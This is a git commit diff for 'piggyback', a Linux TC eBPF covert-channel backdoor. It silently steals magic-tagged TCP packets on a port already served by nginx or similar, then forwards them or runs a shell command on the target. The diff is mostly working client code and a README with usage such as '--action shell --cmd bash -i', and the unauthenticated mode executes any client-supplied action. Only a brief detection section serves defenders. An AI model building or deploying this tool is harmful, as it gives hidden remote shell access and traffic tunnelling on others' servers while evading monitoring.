piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.
piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED, TRUSTED_PUBKEY. pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0, sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header. README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the operator looks it up. Removed all the wrong advice about changing it.
This commit is contained in:
parent
abd95bf366
commit
50c9b4df35
134
README.md
134
README.md
@ -1,26 +1,27 @@
|
||||
# piggyback
|
||||
|
||||
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
|
||||
steals matching ones before the application sees them, and forwards or executes them.
|
||||
Normal traffic is unaffected. Zero changes to existing services.
|
||||
steals matching ones before the application sees them, forwards or executes per the
|
||||
client's instruction. Normal traffic is unaffected. Zero changes to existing services.
|
||||
|
||||
```
|
||||
Mode 1 — Plain TCP
|
||||
Client Server (:80)
|
||||
│── TCP packet ────────────→ TC eBPF ingress
|
||||
│ [MAGIC][header][payload] magic match?
|
||||
│ [MAGIC][header] magic match?
|
||||
│ YES → TC_ACT_STOLEN → daemon
|
||||
│ NO → TC_ACT_OK → app (nginx etc.)
|
||||
|
||||
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
|
||||
Client Middleware (:443) Server (:80)
|
||||
│── valid TLS ──→ │ │
|
||||
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
|
||||
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
|
||||
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
|
||||
│ inside │ (inner bytes fwd) → same as Mode 1
|
||||
```
|
||||
|
||||
Mode 2 is identical server-side. Client establishes real TLS with a configurable
|
||||
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
|
||||
Mode 2 is identical server-side. Client sends a real TLS handshake toward
|
||||
middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works.
|
||||
Middleware decrypts and forwards inner bytes to the plain TCP backend.
|
||||
|
||||
---
|
||||
|
||||
@ -41,45 +42,25 @@ sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodi
|
||||
|
||||
## Configuration
|
||||
|
||||
All config is compile-time. Edit the constants at the top of each file, then `make`.
|
||||
Only two files need editing before compiling. Port must match in both.
|
||||
|
||||
### `piggyback.bpf.c` — eBPF kernel program
|
||||
### `piggyback.bpf.c`
|
||||
```c
|
||||
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
|
||||
#define PORTS_N 2
|
||||
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
|
||||
#define LISTEN_PORT 80 // port to intercept
|
||||
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
|
||||
```
|
||||
|
||||
### `piggyback.c` — server daemon
|
||||
### `piggyback.c`
|
||||
```c
|
||||
#define IFACE "" // "" = auto-detect default-route interface
|
||||
#define LISTEN_PORT 80 // must match eBPF PORTS array
|
||||
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
||||
#define FWD_PORT 22 // default forward target port
|
||||
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
|
||||
#define VERBOSE 0
|
||||
|
||||
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
|
||||
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
|
||||
#define LISTEN_PORT 80 // must match piggyback.bpf.c
|
||||
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
|
||||
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
|
||||
```
|
||||
|
||||
### `pb-client.c` — client
|
||||
```c
|
||||
#define SERVER_IP "1.2.3.4"
|
||||
#define SERVER_PORT 80
|
||||
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
|
||||
|
||||
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
|
||||
#define SNI "" // required for MODE_TLS — change per engagement
|
||||
|
||||
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
|
||||
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
|
||||
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
|
||||
#define TARGET_PORT 22
|
||||
#define SHELL_CMD "bash" // (ACTION_SHELL)
|
||||
```
|
||||
|
||||
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
|
||||
Forward target, action, and target port are **not configured in the daemon** —
|
||||
they come from the client packet. The daemon has no idea where to forward until
|
||||
a client tells it.
|
||||
|
||||
---
|
||||
|
||||
@ -89,62 +70,86 @@ All config is compile-time. Edit the constants at the top of each file, then `ma
|
||||
make
|
||||
```
|
||||
|
||||
### Generate Ed25519 keypair (for auth)
|
||||
### Generate Ed25519 keypair (for authenticated mode)
|
||||
```bash
|
||||
make keygen
|
||||
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
|
||||
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
|
||||
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
|
||||
# Saves engagement.key → pass to pb-client with --key (never copy to target)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
### Server (target machine)
|
||||
```bash
|
||||
# Server (target machine)
|
||||
sudo ./piggyback
|
||||
```
|
||||
|
||||
# Client (operator machine)
|
||||
./pb-client
|
||||
### Client (operator machine)
|
||||
```bash
|
||||
# Mode 1 — plain TCP, no auth, forward to sshd
|
||||
./pb-client 1.2.3.4 80 2222
|
||||
|
||||
# Then connect locally
|
||||
# Mode 2 — through TLS middleware (SNI must match middleware routing)
|
||||
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
|
||||
|
||||
# With auth — forward to custom target
|
||||
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
|
||||
|
||||
# Shell execution
|
||||
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
|
||||
|
||||
# Then connect
|
||||
ssh -p 2222 user@localhost
|
||||
```
|
||||
|
||||
No CLI flags — all config is baked into the binary at compile time.
|
||||
Full client options:
|
||||
```
|
||||
./pb-client <server_ip> <server_port> <local_port> [options]
|
||||
|
||||
--mode tcp|tls connection mode (default: tcp)
|
||||
--sni <hostname> SNI for TLS — must match middleware virtual host config
|
||||
--key <path> Ed25519 private key PEM (enables auth)
|
||||
--action forward|shell (default: forward)
|
||||
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
|
||||
--cmd <command> shell command for --action shell (default: bash)
|
||||
-v verbose
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Auth flow (AUTH_ENABLED=1)
|
||||
|
||||
1. `make keygen` — generate Ed25519 keypair
|
||||
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
|
||||
3. Set `KEY_PATH` in `pb-client.c`, recompile client
|
||||
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
|
||||
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
|
||||
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
|
||||
2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon
|
||||
3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine)
|
||||
4. Client sends: `MAGIC` (6) + 80-byte signed header
|
||||
5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
|
||||
6. On pass: executes action from header
|
||||
7. On fail: connection dropped silently
|
||||
|
||||
Signed header format (80 bytes):
|
||||
Signed header format (80 bytes after MAGIC):
|
||||
```
|
||||
[0..7] unix timestamp, big-endian uint64
|
||||
[8] action (0x01=forward, 0x02=shell)
|
||||
[9..12] target IPv4 (forward) or zeros
|
||||
[13..14] target port big-endian or zeros
|
||||
[9..12] target IPv4
|
||||
[13..14] target port big-endian
|
||||
[15] reserved
|
||||
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
|
||||
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
|
||||
```
|
||||
|
||||
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
|
||||
Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in
|
||||
no-auth mode reads action+target and skips signature verification.
|
||||
|
||||
---
|
||||
|
||||
## Detection (Blue Team)
|
||||
|
||||
```bash
|
||||
tc filter show dev eth0 ingress # TC eBPF filters on interface
|
||||
tc filter show dev eth0 ingress # TC eBPF filters
|
||||
bpftool prog list # all loaded eBPF programs
|
||||
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
|
||||
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
|
||||
```
|
||||
|
||||
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
|
||||
@ -154,12 +159,7 @@ on internet-facing interfaces.
|
||||
|
||||
## Known Limitations
|
||||
|
||||
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
|
||||
IPv6 forward targets require header format extension
|
||||
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
|
||||
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
|
||||
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
|
||||
connect-back mode (works except behind strict NAT)
|
||||
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
|
||||
by per-connection eBPF state machine, but only within a 6-byte sliding window
|
||||
per packet; edge cases with very small MSS possible
|
||||
- **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP
|
||||
- **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry
|
||||
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back
|
||||
(works everywhere except strict NAT scenarios)
|
||||
|
||||
315
pb-client.c
315
pb-client.c
@ -1,19 +1,23 @@
|
||||
// pb-client.c — piggyback client
|
||||
//
|
||||
// All configuration is via compile-time constants below.
|
||||
// Build: make Run: ./pb-client
|
||||
// Usage:
|
||||
// ./pb-client <server_ip> <server_port> <local_port> [options]
|
||||
//
|
||||
// Mode 1 (CLIENT_MODE = MODE_TCP):
|
||||
// Plain TCP to server, sends MAGIC prefix, splices traffic.
|
||||
// Options:
|
||||
// --mode tcp|tls connection mode (default: tcp)
|
||||
// --sni <hostname> SNI for TLS — must match middleware routing config
|
||||
// --key <path> Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1)
|
||||
// --action forward|shell what to do on the server (default: forward)
|
||||
// --target <ip:port> forward target (default: 127.0.0.1:22)
|
||||
// --cmd <command> shell command for --action shell (default: bash)
|
||||
// -v verbose
|
||||
//
|
||||
// Mode 2 (CLIENT_MODE = MODE_TLS):
|
||||
// Genuine TLS connection to middleware (SNI required).
|
||||
// Middleware decrypts and forwards inner bytes to plain TCP backend.
|
||||
// Server-side eBPF sees raw MAGIC as in Mode 1.
|
||||
//
|
||||
// Auth (KEY_PATH != ""):
|
||||
// Sends Ed25519-signed 80-byte header after MAGIC.
|
||||
// Required when daemon has AUTH_ENABLED=1.
|
||||
// Examples:
|
||||
// ./pb-client 1.2.3.4 80 2222
|
||||
// ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com
|
||||
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22
|
||||
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id'
|
||||
// ssh -p 2222 user@localhost
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -34,91 +38,87 @@
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/pem.h>
|
||||
|
||||
// ── Engagement Configuration ──────────────────────────────────────────────────
|
||||
// Edit these before compiling.
|
||||
|
||||
#define SERVER_IP "1.2.3.4" // target server IP or hostname
|
||||
#define SERVER_PORT 80 // target port
|
||||
#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost)
|
||||
|
||||
// Connection mode
|
||||
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
|
||||
#define SNI "" // SNI hostname — required for MODE_TLS
|
||||
|
||||
// Auth — leave KEY_PATH "" to disable (no signed header sent)
|
||||
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
|
||||
#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key)
|
||||
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
|
||||
#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD)
|
||||
#define TARGET_PORT 22 // forward target port (ACTION_FORWARD)
|
||||
#define SHELL_CMD "bash" // shell command (ACTION_SHELL)
|
||||
|
||||
#define VERBOSE 0 // 1 = debug logging
|
||||
|
||||
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
|
||||
|
||||
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||
#define MAGIC_LEN 6
|
||||
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
|
||||
#define HEADER_LEN 80
|
||||
|
||||
#define HDR_TIMESTAMP_OFF 0
|
||||
#define HDR_ACTION_OFF 8
|
||||
#define HDR_TARGET_IP_OFF 9
|
||||
#define HDR_TARGET_PORT_OFF 13
|
||||
#define HDR_SIG_OFF 16
|
||||
#define HDR_MSG_LEN 20
|
||||
|
||||
#define ACTION_FORWARD 0x01
|
||||
#define ACTION_SHELL 0x02
|
||||
|
||||
// ── Mode enum ─────────────────────────────────────────────────────────────────
|
||||
typedef enum { MODE_TCP, MODE_TLS } mode_t;
|
||||
|
||||
typedef enum { MODE_TCP, MODE_TLS } client_mode_t;
|
||||
// ── Config ────────────────────────────────────────────────────────────────────
|
||||
|
||||
// ── Globals ───────────────────────────────────────────────────────────────────
|
||||
static struct {
|
||||
char server_ip[256];
|
||||
int server_port;
|
||||
int local_port;
|
||||
mode_t mode;
|
||||
char sni[256];
|
||||
char key_path[256];
|
||||
int action;
|
||||
char target_ip[64];
|
||||
int target_port;
|
||||
char cmd[1024];
|
||||
int verbose;
|
||||
} cfg = {
|
||||
.mode = MODE_TCP,
|
||||
.action = ACTION_FORWARD,
|
||||
.target_ip = "127.0.0.1",
|
||||
.target_port = 22,
|
||||
.cmd = "bash",
|
||||
};
|
||||
|
||||
static volatile int running = 1;
|
||||
static SSL_CTX *ssl_ctx = NULL;
|
||||
|
||||
// ── Logging ───────────────────────────────────────────────────────────────────
|
||||
|
||||
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||
#define log_dbg(fmt, ...) do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||
|
||||
// ── Abstract I/O over plain TCP or TLS ───────────────────────────────────────
|
||||
// ── Abstract I/O ─────────────────────────────────────────────────────────────
|
||||
|
||||
struct conn { int fd; SSL *ssl; };
|
||||
|
||||
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
|
||||
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
|
||||
}
|
||||
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
|
||||
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
|
||||
}
|
||||
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
|
||||
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
|
||||
}
|
||||
static void conn_close(struct conn *c) {
|
||||
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
|
||||
if (c->fd >= 0) { close(c->fd); c->fd = -1; }
|
||||
}
|
||||
|
||||
// ── Bidirectional splice ──────────────────────────────────────────────────────
|
||||
// ── Splice ────────────────────────────────────────────────────────────────────
|
||||
|
||||
static void splice_loop(int local_fd, struct conn *remote) {
|
||||
int epfd = epoll_create1(0);
|
||||
struct epoll_event ev, evs[2];
|
||||
char buf[65536];
|
||||
|
||||
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
|
||||
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
|
||||
|
||||
while (running) {
|
||||
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
||||
if (evs[i].data.fd == local_fd) {
|
||||
ssize_t r = read(local_fd, buf, sizeof(buf));
|
||||
if (r <= 0) goto done;
|
||||
ssize_t w = 0;
|
||||
while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
|
||||
ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done;
|
||||
for (ssize_t w=0; w<r;) { ssize_t s=conn_write(remote,buf+w,r-w); if(s<=0) goto done; w+=s; }
|
||||
} else {
|
||||
ssize_t r = conn_read(remote, buf, sizeof(buf));
|
||||
if (r <= 0) goto done;
|
||||
ssize_t w = 0;
|
||||
while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
|
||||
ssize_t r = conn_read(remote, buf, sizeof(buf)); if (r<=0) goto done;
|
||||
for (ssize_t w=0; w<r;) { ssize_t s=write(local_fd,buf+w,r-w); if(s<=0) goto done; w+=s; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -126,38 +126,38 @@ done:
|
||||
close(epfd);
|
||||
}
|
||||
|
||||
// ── Ed25519 signed header ─────────────────────────────────────────────────────
|
||||
// ── Build and send 80-byte header ─────────────────────────────────────────────
|
||||
//
|
||||
// Sends 80 bytes after MAGIC:
|
||||
// [0..7] timestamp big-endian uint64
|
||||
// [8] action
|
||||
// [9..12] target IPv4 (ACTION_FORWARD) or zeros
|
||||
// [13..14] target port big-endian or zeros
|
||||
// [15] reserved
|
||||
// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]
|
||||
// Always sent after MAGIC. Without --key: timestamp=0, sig=zeros.
|
||||
// Daemon reads action+target from header regardless of auth mode.
|
||||
|
||||
static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
|
||||
uint8_t fields[16] = {0};
|
||||
static int send_header(struct conn *remote, uint32_t server_ip_be) {
|
||||
uint8_t hdr[HEADER_LEN] = {0};
|
||||
|
||||
// timestamp (zeros if no key — daemon in no-auth mode ignores it)
|
||||
if (cfg.key_path[0]) {
|
||||
uint64_t ts = (uint64_t)time(NULL);
|
||||
for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; }
|
||||
|
||||
fields[8] = CLIENT_ACTION;
|
||||
|
||||
if (CLIENT_ACTION == ACTION_FORWARD) {
|
||||
uint32_t tip = 0;
|
||||
inet_pton(AF_INET, TARGET_IP, &tip);
|
||||
memcpy(fields + 9, &tip, 4);
|
||||
uint16_t tport = htons(TARGET_PORT);
|
||||
memcpy(fields + 13, &tport, 2);
|
||||
for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; }
|
||||
}
|
||||
|
||||
uint8_t msg[20];
|
||||
memcpy(msg, fields, 16);
|
||||
hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action;
|
||||
|
||||
if (cfg.action == ACTION_FORWARD) {
|
||||
uint32_t tip = 0;
|
||||
inet_pton(AF_INET, cfg.target_ip, &tip);
|
||||
memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4);
|
||||
uint16_t tport = htons((uint16_t)cfg.target_port);
|
||||
memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2);
|
||||
}
|
||||
|
||||
// Sign if key provided
|
||||
if (cfg.key_path[0]) {
|
||||
uint8_t msg[HDR_MSG_LEN];
|
||||
memcpy(msg, hdr, 16);
|
||||
memcpy(msg + 16, &server_ip_be, 4);
|
||||
|
||||
FILE *f = fopen(KEY_PATH, "r");
|
||||
if (!f) { perror("fopen privkey"); return -1; }
|
||||
FILE *f = fopen(cfg.key_path, "r");
|
||||
if (!f) { perror("fopen key"); return -1; }
|
||||
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
|
||||
fclose(f);
|
||||
if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
|
||||
@ -170,27 +170,22 @@ static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
|
||||
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
|
||||
if (ctx) EVP_MD_CTX_free(ctx);
|
||||
EVP_PKEY_free(pkey);
|
||||
|
||||
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
|
||||
memcpy(hdr + HDR_SIG_OFF, sig, 64);
|
||||
}
|
||||
|
||||
uint8_t header[HEADER_LEN];
|
||||
memcpy(header, fields, 16);
|
||||
memcpy(header + 16, sig, 64);
|
||||
|
||||
if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
|
||||
log_err("write auth header failed"); return -1;
|
||||
if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) {
|
||||
log_err("write header failed"); return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ── Connect to server ─────────────────────────────────────────────────────────
|
||||
// ── TCP connect ───────────────────────────────────────────────────────────────
|
||||
|
||||
static int tcp_connect(const char *host, int port) {
|
||||
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
|
||||
struct addrinfo *res;
|
||||
char port_str[8];
|
||||
snprintf(port_str, sizeof(port_str), "%d", port);
|
||||
|
||||
char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port);
|
||||
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
|
||||
log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
|
||||
}
|
||||
@ -217,50 +212,50 @@ static void *conn_thread(void *arg) {
|
||||
|
||||
struct conn remote = { .fd = -1, .ssl = NULL };
|
||||
|
||||
remote.fd = tcp_connect(SERVER_IP, SERVER_PORT);
|
||||
remote.fd = tcp_connect(cfg.server_ip, cfg.server_port);
|
||||
if (remote.fd < 0) goto done;
|
||||
|
||||
if (CLIENT_MODE == MODE_TLS) {
|
||||
if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
|
||||
if (cfg.mode == MODE_TLS) {
|
||||
remote.ssl = SSL_new(ssl_ctx);
|
||||
if (!remote.ssl) goto done;
|
||||
SSL_set_fd(remote.ssl, remote.fd);
|
||||
if (strlen(SNI) > 0)
|
||||
SSL_set_tlsext_host_name(remote.ssl, SNI);
|
||||
SSL_set_tlsext_host_name(remote.ssl, cfg.sni);
|
||||
if (SSL_connect(remote.ssl) != 1) {
|
||||
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
|
||||
}
|
||||
log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl));
|
||||
log_dbg("TLS: %s", SSL_get_cipher(remote.ssl));
|
||||
}
|
||||
|
||||
// Send MAGIC
|
||||
// MAGIC
|
||||
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
|
||||
log_err("write magic failed"); goto done;
|
||||
}
|
||||
|
||||
// Send signed header if auth enabled
|
||||
if (strlen(KEY_PATH) > 0) {
|
||||
// Header (always — carries action+target; signed if --key set)
|
||||
{
|
||||
uint32_t server_ip_be = 0;
|
||||
struct addrinfo hints = { .ai_family = AF_INET };
|
||||
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
|
||||
struct addrinfo *res;
|
||||
if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) {
|
||||
if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) {
|
||||
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
if (send_auth_header(&remote, server_ip_be) != 0) goto done;
|
||||
log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);
|
||||
|
||||
if (CLIENT_ACTION == ACTION_SHELL) {
|
||||
size_t cmdlen = strlen(SHELL_CMD);
|
||||
if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
|
||||
log_err("write shell cmd failed"); goto done;
|
||||
if (send_header(&remote, server_ip_be) != 0) goto done;
|
||||
}
|
||||
|
||||
// Shell command follows header for ACTION_SHELL
|
||||
if (cfg.action == ACTION_SHELL) {
|
||||
size_t len = strlen(cfg.cmd);
|
||||
if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) {
|
||||
log_err("write cmd failed"); goto done;
|
||||
}
|
||||
}
|
||||
|
||||
log_info("connected [%s%s]",
|
||||
CLIENT_MODE == MODE_TLS ? "TLS" : "TCP",
|
||||
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "");
|
||||
log_info("%s:%d [%s%s] action=%s",
|
||||
cfg.server_ip, cfg.server_port,
|
||||
cfg.mode == MODE_TLS ? "TLS" : "TCP",
|
||||
cfg.key_path[0] ? " signed" : "",
|
||||
cfg.action == ACTION_FORWARD ? "forward" : "shell");
|
||||
|
||||
splice_loop(local_fd, &remote);
|
||||
|
||||
@ -270,27 +265,86 @@ done:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// ── Signal ────────────────────────────────────────────────────────────────────
|
||||
|
||||
static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
||||
|
||||
// ── Usage ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
static void usage(const char *prog) {
|
||||
fprintf(stderr,
|
||||
"Usage: %s <server_ip> <server_port> <local_port> [options]\n"
|
||||
"\n"
|
||||
" --mode tcp|tls (default: tcp)\n"
|
||||
" --sni <hostname> SNI for TLS — must match middleware routing\n"
|
||||
" --key <path> Ed25519 private key PEM (enables signed auth)\n"
|
||||
" --action forward|shell (default: forward)\n"
|
||||
" --target <ip:port> forward target (default: 127.0.0.1:22)\n"
|
||||
" --cmd <command> shell command (default: bash)\n"
|
||||
" -v verbose\n"
|
||||
"\n"
|
||||
" %s 1.2.3.4 80 2222\n"
|
||||
" %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n"
|
||||
" %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n"
|
||||
" %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n"
|
||||
" ssh -p 2222 user@localhost\n",
|
||||
prog, prog, prog, prog, prog);
|
||||
}
|
||||
|
||||
// ── Main ──────────────────────────────────────────────────────────────────────
|
||||
|
||||
int main(void) {
|
||||
if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) {
|
||||
fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1;
|
||||
int main(int argc, char **argv) {
|
||||
int positional = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (!strcmp(argv[i], "--mode") && i+1 < argc) {
|
||||
i++;
|
||||
if (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP;
|
||||
else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS;
|
||||
else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; }
|
||||
} else if (!strcmp(argv[i], "--sni") && i+1 < argc) {
|
||||
strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1);
|
||||
} else if (!strcmp(argv[i], "--key") && i+1 < argc) {
|
||||
strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1);
|
||||
} else if (!strcmp(argv[i], "--action") && i+1 < argc) {
|
||||
i++;
|
||||
if (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD;
|
||||
else if (!strcmp(argv[i], "shell")) cfg.action = ACTION_SHELL;
|
||||
else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; }
|
||||
} else if (!strcmp(argv[i], "--target") && i+1 < argc) {
|
||||
i++;
|
||||
char *colon = strrchr(argv[i], ':');
|
||||
if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; }
|
||||
*colon = '\0';
|
||||
strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1);
|
||||
cfg.target_port = atoi(colon+1);
|
||||
} else if (!strcmp(argv[i], "--cmd") && i+1 < argc) {
|
||||
strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1);
|
||||
} else if (!strcmp(argv[i], "-v")) {
|
||||
cfg.verbose = 1;
|
||||
} else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
|
||||
usage(argv[0]); return 0;
|
||||
} else if (argv[i][0] != '-') {
|
||||
switch (positional++) {
|
||||
case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break;
|
||||
case 1: cfg.server_port = atoi(argv[i]); break;
|
||||
case 2: cfg.local_port = atoi(argv[i]); break;
|
||||
default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1;
|
||||
}
|
||||
} else {
|
||||
fprintf(stderr, "unknown option: %s\n", argv[i]); return 1;
|
